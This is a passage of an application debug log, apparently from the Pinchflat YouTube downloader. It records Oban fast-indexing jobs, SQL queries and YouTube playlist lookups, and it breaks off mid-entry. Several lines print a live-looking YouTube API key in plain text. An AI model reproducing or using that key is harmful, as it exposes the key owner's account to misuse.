db=0.1ms idle=666.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:33.863 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:33.863 [debug] Fetching recent media IDs from YouTube API for playlist: UUDiKw3GnFIwyNJBzhCoRI-Q 17:17:33.863 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:33.863 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:34.007 [debug] QUERY OK source="media_items" db=0.6ms idle=143.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [4, "Z26kN5VfyGA", "QIEdK8haaTw", "_Us6EeUP0_Q", "lpswjPZYXx4", "mmntN7zIekU", "nvk3Njj_X0c", "eHCjuUBXwSo", "459a7YBmBOE", "yE48_MN8Ng4", "du03jSbZwEw", "ZBJnX8_Fx_g", "bLYUD4IMvQI", "EKZZwowhDiY", "nelpE3tC4Ig", "wzn0T1qX5Ko", "fk8zF0xav-Q", "tSSwuvJzHFc", "TIKTzjdTD98", "XW5tm9vAh2M", "cSjYTb1zdkA", "jqH3z8OwUn8", "9uiXXCOmJyY", "YP9M8cYfn-4", "KbixzNLGW3Q", "rgZlzCd0DUU", "JSxgCEpkiKM", "GnOpIQJnYWU", "CogTK7K_YZ8", "LFYjgLqQ99A", "NfvxMBglQXo", "JJPA_iM8Hrs", "tCC0pt6XE3Q", "fUWjIPHuZxw", "JtUC7H0Q1JY", "uvYt1GgcsUI", "V7CnaT-BfSo", "e22vAVH_JtE", "RwlNKD4KOZM", "S4knv0ivcEU", "exwuRtM27BY", "bCZX7x_xDWE", "JR9uWwbZGbw", "ResVOM4BhiQ", "wi2a3GG0yIc", "ZYyLetNAydM", "ZOz1fA9W3Ms", "QtVIR_-hMq8", "sPysKEfXzWM", "TEPKKZtclTA", ...] 17:17:34.008 [debug] QUERY OK source="media_items" db=0.5ms idle=145.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 17:17:34.009 [debug] QUERY OK source="tasks" db=0.1ms idle=145.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268442, 4, ~U[2026-10-09 22:17:34Z], ~U[2026-10-09 22:17:34Z]] 17:17:34.009 [info] {"args":{"id":4},"id":5268402,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":146880,"event":"job:stop","queue_time":435356,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:45.793 [info] {"source":"oban","duration":10281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:17:55.887 [info] {"args":{"id":44},"id":5268403,"meta":{},"system_time":1791584275887093985,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:55.887 [debug] QUERY OK source="sources" db=0.1ms idle=540.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [44] 17:17:55.888 [debug] QUERY OK source="settings" db=0.5ms idle=540.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:55.888 [debug] QUERY OK source="media_profiles" db=0.1ms idle=541.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:55.888 [debug] QUERY OK source="settings" db=0.1ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:55.888 [debug] Fetching recent media IDs from YouTube API for playlist: UUqppg7votukolx20yh3H9kQ 17:17:55.888 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:55.888 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:55.985 [debug] QUERY OK source="media_items" db=0.3ms idle=97.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [44, "qfSDhNLiN_U", "_qzU0mb7Ubw", "QLNxc6g0pjo", "vwTIQlSCb4M", "pRUNSy_tFkM", "M5qGSZKeaMA", "EVq8Vskx_Dw", "iQJO80qA0Wk", "o8BzeOf-smA", "fiS-okUK7KE", "UIN2Q2u1A8o", "vSBr3WFxJhY", "9BepF3pfqTY", "4qt4YY8m6fg", "JYJoETDh4ZU", "2ASOQLFr7-M", "fx5N1fY3Fsg", "qWvRe1u0AL0", "Okhp89ilgaY", "c9NY88Hf1Ns", "so6XWjuMJCg", "ejPqAJ0dHwY"] 17:17:55.985 [debug] QUERY OK source="media_items" db=0.2ms idle=97.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [44] 17:17:55.986 [debug] QUERY OK source="tasks" db=0.1ms idle=97.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268443, 44, ~U[2026-10-09 22:17:55Z], ~U[2026-10-09 22:17:55Z]] 17:17:55.986 [info] {"args":{"id":44},"id":5268403,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":99438,"event":"job:stop","queue_time":542871,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:56.888 [info] {"args":{"id":7},"id":5268404,"meta":{},"system_time":1791584276888220375,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:56.888 [info] {"args":{"id":25},"id":5268405,"meta":{},"system_time":1791584276888260761,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:56.888 [debug] QUERY OK source="sources" db=0.1ms idle=901.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 17:17:56.888 [debug] QUERY OK source="sources" db=0.2ms idle=901.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 17:17:56.888 [debug] QUERY OK source="settings" db=0.0ms idle=895.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:56.888 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:56.889 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:56.889 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:56.889 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:56.889 [debug] Fetching recent media IDs from YouTube API for playlist: UUZU9T1ceaOgwfLRq7OKFU4Q 17:17:56.889 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:56.889 [debug] Fetching recent media IDs from YouTube API for playlist: UUnZx--LpG2spgmlxOcC-DRA 17:17:56.889 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:56.889 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:56.889 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:56.889 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:57.110 [debug] QUERY OK source="media_items" db=0.6ms idle=220.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [7, "YJYGJQeq9XA", "bMMG9TqH7Cg", "ivwGdPaEKgw", "MSim6wHctJs", "a-pw6MLvxG4", "iJFXHSikXAw", "cX4nq3oWHEs", "sx0pL-IG9ZY", "I18RjNvKBb0", "w3xqsMv6T_k", "UJLnAxofL4w", "461UOs0Bvpo", "eeeIX-jPCfU", "I_dqiK6FEUw", "1F0KOBiLPJY", "GOY1nrnGFoQ", "49AR2G__gbY", "moBfszFIlZU", "ooneAa4P_DI", "5qJ4lBwxSHs", "EGIq02dD1_o", "ud56dWtJZuI", "wQxngUFOoqY", "Moi8q2spry8", "tdkSl_8BMDM", "3gZQa8wvPyQ", "A-WuDVu8Aec", "inZfAQX-ikk", "A5fjsYyBYeM", "RHbqw8PpDrk", "9BfpQaUdIKA", "vS959lEUED0", "3HO-1R_ye40", "cWrGe7BDnHY", "Hih6I3DOPZQ", "BMNtRwFDB6s", "3IzWVKqW8LA", "1OJcqhrA0aE", "xfk3OnaKJRU", "W5PifMAnoJY", "zR4OJ9_S5mU", "KWWxrVzMk-s", "WNGbL6zTXg0", "XnuH8t5MmWU", "zNYsw-cW8v8", "vq4TbSxK0P0", "pgCBgctN_VU", "2SM3dlbe2S8", "vwLSANJYMf4", ...] 17:17:57.113 [debug] QUERY OK source="media_items" db=2.3ms idle=221.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 17:17:57.114 [debug] QUERY OK source="tasks" db=0.1ms idle=224.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268444, 7, ~U[2026-10-09 22:17:57Z], ~U[2026-10-09 22:17:57Z]] 17:17:57.114 [info] {"args":{"id":7},"id":5268404,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":225986,"event":"job:stop","queue_time":500428,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:57.243 [debug] QUERY OK source="media_items" db=0.6ms idle=128.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [25, "hsY3IJVKOcw", "a0YlDUdNjqc", "62hl5tFrodQ", "gStpYu84aRQ", "uKW8Td2gynY", "TpU_mB8MO4k", "EzkSQzP0ExQ", "kCuY95F6R40", "Xu7wneIzhPM", "IzNFKW9EIuA", "sZ1xZHqxah4", "55BSBuorfhQ", "Aw2XEiN1VNY", "IiH_inHowI8", "2uqbR-ntKdE", "0aa6XyEQgFY", "fMN1zdsyVTg", "vjcS8RKa194", "ocYp07IRgxQ", "_9adBz4FN5Y", "IYDwHD9p_qQ", "aSYbsUlefuk", "CZY_iUWtd5Y", "r3zmwPNRdPc", "_ZAEcUvqFnk", "ba1BfC-NO7s", "3gg3-t2CUn4", "pAwv29cLSq0", "GzJ7TaJIhhs", "Bc5RIeIjZT8", "t9XtC85e-tQ", "InaGX4XhPk0", "HSVmPi_p_GQ", "3Bp8fDX_9pY", "2xy8vg2WLz4", "bG0VnCUZm-s", "NIDy6_QXX-E", "Lhoi-gx3O9I", "6jLIm8Bt2dA", "8rf4YP-OlFs", "llaLuaNTA-Q", "QhxZ2JujRLs", "MEdMneWCqFA", "t0kErQN5pbM", "K7j9ONAplwY", "4rEcECZeyoE", "RwIhXqA7tQg", "_v18JX0Nwvk", "kZR4QlyyBO4", ...] 17:17:57.245 [debug] QUERY OK source="media_items" db=1.4ms idle=129.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 17:17:57.246 [debug] QUERY OK source="tasks" db=0.0ms idle=125.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268445, 25, ~U[2026-10-09 22:17:57Z], ~U[2026-10-09 22:17:57Z]] 17:17:57.246 [info] {"args":{"id":25},"id":5268405,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":357834,"event":"job:stop","queue_time":316535,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:57.889 [info] {"args":{"id":38},"id":5268406,"meta":{},"system_time":1791584277889207705,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:57.889 [debug] QUERY OK source="sources" db=0.1ms idle=643.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [38] 17:17:57.889 [debug] QUERY OK source="settings" db=0.0ms idle=643.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:57.889 [debug] QUERY OK source="media_profiles" db=0.0ms idle=637.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:57.890 [debug] 